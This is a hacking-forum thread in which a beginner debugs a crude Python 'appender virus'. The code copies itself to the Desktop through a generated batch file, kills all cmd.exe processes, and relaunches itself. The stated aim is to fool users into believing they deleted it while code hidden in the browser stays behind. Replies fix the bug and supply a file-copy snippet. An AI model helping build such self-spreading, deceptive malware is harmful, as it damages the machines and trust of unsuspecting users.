Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

Appender Virus (very basic) wont work when coverted to .exe

This is the code that wont work. I am trying to get a copy of the virus:

import sys

input("start")
File = sys.argv[0]
WriteThing = "Setting file to mean opening file in read only mode" + File
input(WriteThing)
File = open(File, mode="r")
input("Now Reading file")
File = File.read()
input(File)

This works when I run it as a .py but not as a .exe

The error is: Unicode Decode Error

Pls halp it's so annoying...
It's strange that the python script works but not compiled.

Do you defined an encoding?

It would be pretty nice if we could see the full code and you could tell us what exactly you want to do.
This is the full code: import os

UserThing = os.getcwd().split('C:\\Users')[1].split('\\')[1]
print(UserThing)
print("C:\\Users\\" + UserThing + "\\Desktop")
NameThing = os.path.basename(__file__).replace('.py', '.exe')

if os.getcwd() != "C:\\Users\\" + UserThing + "\\Desktop":

input("In the if statement")

with open("VirusCopyer.bat", mode = "w", encoding='utf-8') as Fileh:

WriteThing = '''XCOPY "''' + os.getcwd().replace('\\', '\\\\') + "\\" + NameThing + '''" "C:\\Users\\''' + UserThing + '''\\Desktop"'''
Fileh.write(WriteThing)
input("In the with statement")

os.system("cd Desktop")
input("About to start virus copyer batch file")
os.system("start VirusCopyer.bat")
input("About to kill cmd")
os.system("taskkill /F /im cmd.exe")
input("About to rename the file in desktop.")
WriteThing = "C:\\Users\\" + UserThing + "\\Desktop\\AppenderVirus.exe"
os.rename(WriteThing, "C:\\Users\\" + UserThing + "\\Desktop\\ThisIsTheVirusYouShouldDeleteIt.exe")
input("About to start previously renamed file.")
os.chdir("C:\\Users\\" + UserThing + "\\Desktop")
os.system("start ThisIsTheVirusYouShouldDeleteIt.exe")
input("Well its done")
quit()

else:

import sys

input("start")
File = sys.argv[0]
WriteThing = "Setting file to mean opening file in read only mode" + File
input(WriteThing)
File = open(File, mode="r", encoding = "utf-8")
input("Now Reading file")
File = File.read()
input(File)

What I want to do is add the file to desktop so it can be deleted, then I want to add code to chrome or edge or whatever search engine is found, the code that is added should bring up a tkinter window that says gatcha or something.

It says something about invalid start byte in the error.
I don't really understand what you want to do.
You want to copy a file to another location and then delete it? Why you don't just delete it from this location? Why do you have to copy it?
Forgive me, I've not worked with a "compiled" Python program before.

However, when an executable is launched by Windows, it's arguments are passed to it like so: "program.exe arg1 arg2 arg3 ... argN", where "program.exe" is the path to the executable and arg1-argN are the program's optional arguments.

Now, I can see that in your piece of broken code you are getting the zeroth argument, which in our case is the executable path, "program.exe".

So essentially what's happening is you're reading your own executable, which is not a text file, hence the unicode decode error.

You need to be getting the actual program argument, arg1, which would be sys.argv[1], since it comes after the executable path.  🤝
do yourself a favor and lay off "virus programming"
as far as i can see you are a complete beginner, and programming a virus requires at least some level of expertise
I'm putting it in desktop so a person can delete it (maybe I'll put it somewhere else less obvious idk yet) so a person thinks they've deleted it, but the virus is actually in chrome. This might be totally stupid (probably is I just felt like trying something) because like vegardagain said I'm a total beginner. I just felt like trying this lol.

I actually realize how many things I did that don't make any sense tho...
(Jun 30, 2018 07:09 PM)100PercentNotAMobster Wrote:  This is the full code: import os

UserThing = os.getcwd().split('C:\\Users')[1].split('\\')[1]
print(UserThing)
print("C:\\Users\\" + UserThing + "\\Desktop")
NameThing = os.path.basename(__file__).replace('.py', '.exe')

if os.getcwd() != "C:\\Users\\" + UserThing + "\\Desktop":

   input("In the if statement")

   with open("VirusCopyer.bat", mode = "w", encoding='utf-8') as Fileh:

       WriteThing = '''XCOPY "''' + os.getcwd().replace('\\', '\\\\') + "\\" + NameThing + '''" "C:\\Users\\''' + UserThing + '''\\Desktop"'''
       Fileh.write(WriteThing)
       input("In the with statement")

   os.system("cd Desktop")
   input("About to start virus copyer batch file")
   os.system("start VirusCopyer.bat")
   input("About to kill cmd")
   os.system("taskkill /F /im cmd.exe")
   input("About to rename the file in desktop.")
   WriteThing = "C:\\Users\\" + UserThing + "\\Desktop\\AppenderVirus.exe"
   os.rename(WriteThing, "C:\\Users\\"  + UserThing + "\\Desktop\\ThisIsTheVirusYouShouldDeleteIt.exe")
   input("About to start previously renamed file.")
   os.chdir("C:\\Users\\" + UserThing + "\\Desktop")
   os.system("start ThisIsTheVirusYouShouldDeleteIt.exe")
   input("Well its done")
   quit()

else:

   import sys

   input("start")
   File = sys.argv[0]
   WriteThing = "Setting file to mean opening file in read only mode" + File
   input(WriteThing)
   File = open(File, mode="r", encoding = "utf-8")
   input("Now Reading file")
   File = File.read()
   input(File)

What I want to do is add the file to desktop so it can be deleted, then I want to add code to chrome or edge or whatever search engine is found, the code that is added should bring up a tkinter window that says gatcha or something.

It says something about invalid start byte in the error.

(Jul 2, 2018 03:57 PM)100PercentNotAMobster Wrote:  I'm putting it in desktop so a person can delete it (maybe I'll put it somewhere else less obvious idk yet) so a person thinks they've deleted it, but the virus is actually in chrome. This might be totally stupid (probably is I just felt like trying something) because like vegardagain said I'm a total beginner. I just felt like trying this lol.

I actually realize how many things I did that don't make any sense tho...

Well, thats just like 3 Lines of Code

Code
import shutil
import os

src = 'your file LALALALLAL' (e.g. args[0])
dst = os.environ['USERHOME'] + '/Desktop/filename.exe'

shutil.copyfile(src, dst)
THANKYOU OMG YOU ARE AWESOME, I don't know what I was trying to do lol. I do have one more question though (well two actually).

So this works on my computer, but not in my vm. I assume this is because desktop is in the directory one drive and I assume this might happen on someone elses computer. And the os.environ['USERHOME'] did not work. I'm using python 36 so maybe that's the problem, or its just because I know nothing lol. So what would the solution to this be?
(Jul 3, 2018 07:35 PM)100PercentNotAMobster Wrote:  THANKYOU OMG YOU ARE AWESOME, I don't know what I was trying to do lol. I do have one more question though (well two actually).

So this works on my computer, but not in my vm. I assume this is because desktop is in the directory one drive and I assume this might happen on someone elses computer. And the os.environ['USERHOME'] did not work. I'm using python 36 so maybe that's the problem, or its just because I know nothing lol. So what would the solution to this be?

https://stackoverflow.com/questions/3427...ing-python

just google it bro. It isn't that hard.
Arighty then, thanks again for the help tho.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by EUPHORlAMay 6, 2021 02:17 AM 11 521 May 6, 2021 02:17 AM
Last Post: ccaaarb0n
[C] by Sir BillyAug 26, 2019 06:33 PM 1 148 Aug 26, 2019 06:33 PM
Last Post: YouthInAsia
[C#] by C Plus C Sharp CFeb 22, 2019 06:57 AM 16 1,003 Feb 22, 2019 06:57 AM
Last Post: C Plus C Sharp C